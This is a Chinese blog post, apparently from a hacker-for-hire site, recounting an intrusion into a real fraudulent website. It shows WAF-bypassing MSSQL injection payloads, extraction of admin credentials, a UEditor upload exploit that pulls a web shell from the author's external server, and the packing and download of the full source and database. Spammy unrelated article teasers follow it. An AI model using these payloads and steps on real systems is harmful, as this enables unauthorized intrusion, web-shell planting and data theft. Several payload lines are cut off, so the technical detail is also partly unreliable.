渗透测试|记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

hacker4年前关于黑客接单400

  如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。

  目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  空格 error

  加号 未拦截

  等号 error

  单引号 error

  双引号 未拦截

  双括号 未拦截

  +select error

  %0bselect 未拦截

  %0bselect%0buser%0bfrom 未拦截

  %0bselect%0buser%0bfrom%0badmin 拦截

  convert() 未拦截

  根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

  

  1

  2

  3

  4

  5

  goodscontent.aspxgid=convert(int,@@version)#版本信息

  goodscontent.aspxgid=convert(int,db_name())#数据库信息

  goodscontent.aspxgid=convert(int,user_name())#当前数据库用户

  ……

  tips:可以通过遍历db_name(1)中的数字获取其他库名

  得到以下信息:

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400

  数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)

  用户名:sa

  计算机名:10_*_76_*SQLEXPRESS 10.*.76.*

  当前库:pan20170823

  所有库名:

  pan20170823

  master

  tempdb

  model

  msdb

  ReportServer$SQLEXPRESS

  ReportServer$SQLEXPRESSTempDB

  再往下就是获取表的信息

  1

  goodscontent.aspxgid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

  由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

  

  此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

  1

  2

  goodscontent.aspxgid=--

  PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

  获取到之一个表名:jsrecord

  

  由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

  1

  /goodscontent.aspxgid=--

  

  此时只需要遍历top的数值即可,例如:

  1

  /goodscontent.aspxgid=--

  

  通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下:

  首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

  

  

  然后使用Grep-Extact提取表名。

  

  

  

  保存结果后去重即可。

  

  和前面获取到的表总个数是一致的。

  解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

  

  如图,盲猜列名txt_nickname、nickname、txt_password、password

  1

  /goodscontent.aspxgid=--

  

  1

  /goodscontent.aspxgid=--

  登陆后台

  

  经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename=”1.aspx”中的双引号绕过安全狗,但无法绕过程序自身的检测。

  1

  Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

  不过得知上传组件为ueditor,且.net版本存在上传漏洞

  poc如下

  1

  2

  3

  4

  

  

shell addr:

  

  

  并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址

  1

  https://o0o0.club/a.gif.aspx

  

  提交后即可得到shell路径

  在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

  

  

  源码

  这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

  1

  2

  3

  4

  5

  6

  7

  rar.exe a -r -v50m -m5 pan20170823 *.*

  #a 压缩

  #-r 打包子目录

  #-v 分卷大小

  #-m 压缩等级

  #pan20170823目标目录

  #*.* 打包后文件名为 pan20170823.part*.rar

  最终以每秒100k的速度下载完成。

  

  略过,后台自带备份功能

  坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。

  本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

  安装过程略过

  导入数据

  新建数据库,然后通过原设备还原数据

  

  

  还原成功

  

  安装一笔带过,左边拉满就行,简单粗暴

  

  

  添加站点

  

  更好对应目标版本

  

  修改源码中的配置文件

  

  访问即可

  

  

  作者:Guoker

  如有侵权,请联系删

标签: 渗透测试

相关文章

ps5黑客帝国在哪儿(ps2 黑客帝国)

ps5黑客帝国在哪儿(ps2 黑客帝国)

本文目录一览: 1、黑客帝国觉醒ps5在哪下载 2、黑客帝国虚幻5怎么搜 3、PS5去哪下载黑客帝国 4、ps5黑客帝国觉醒在哪下载 黑客帝国觉醒ps5在哪下载  PS商店,一款虚幻5引...

如何查我老公微信出轨记录

  男生藏快递箱求婚被他人错拆   近日,一段“男生藏快递箱求婚被他人错拆"的视频在网上曝光引发热议与关注。据了解,29日,杭州一男生本想藏快递箱里给女友求婚送惊喜。   男生藏快递箱求婚被他人错...

有免费接单黑客吗_怎么和黑客大牛联系-找qq被黑客骗了钱

现代的缝隙运用东西变得越来越难以检测了,由于这些EK东西在规划时就会测验防止安全研讨人员的检测。 特别的,Angler EK还具有以下特性:2.测验用如下办法绕过[uri=mytag_js.php?a...

猴王五九国语(猴王五九国语版百度网盘)

尊敬的迅雷用户,您好:这个您可以到迅雷快传上进行搜索一下,快传里面分享的文件挺多的。如果找不到的话,可以到电影天堂这里进行搜索一下。感。 酷6上面的这个动画片其实不交猴王59叫。 三藏的父亲根据初代共...

腰椎间盘突出能治好吗(腰椎间盘突出可以彻底治愈吗?)

  腰间盘突显能治好吗(腰间盘突显能够完全痊愈吗?)临床医学工作中多年,问诊过不一样年龄层的腰间盘突显症病人,可是,这般小年纪的腰间盘突显症病人还不可多得。目前一例病人详细介绍给大伙儿,警告大伙儿青少...

菠萝蜜吃多了会怎样(菠萝蜜吃多了会上火吗)

菠萝蜜吃多了会怎样(菠萝蜜吃多了会上火吗)菠萝蜜是一种热带水果,它个头很大,里面的果肉也有很多,味道独特,营养价值极高,那么菠萝蜜吃不完怎么保存?...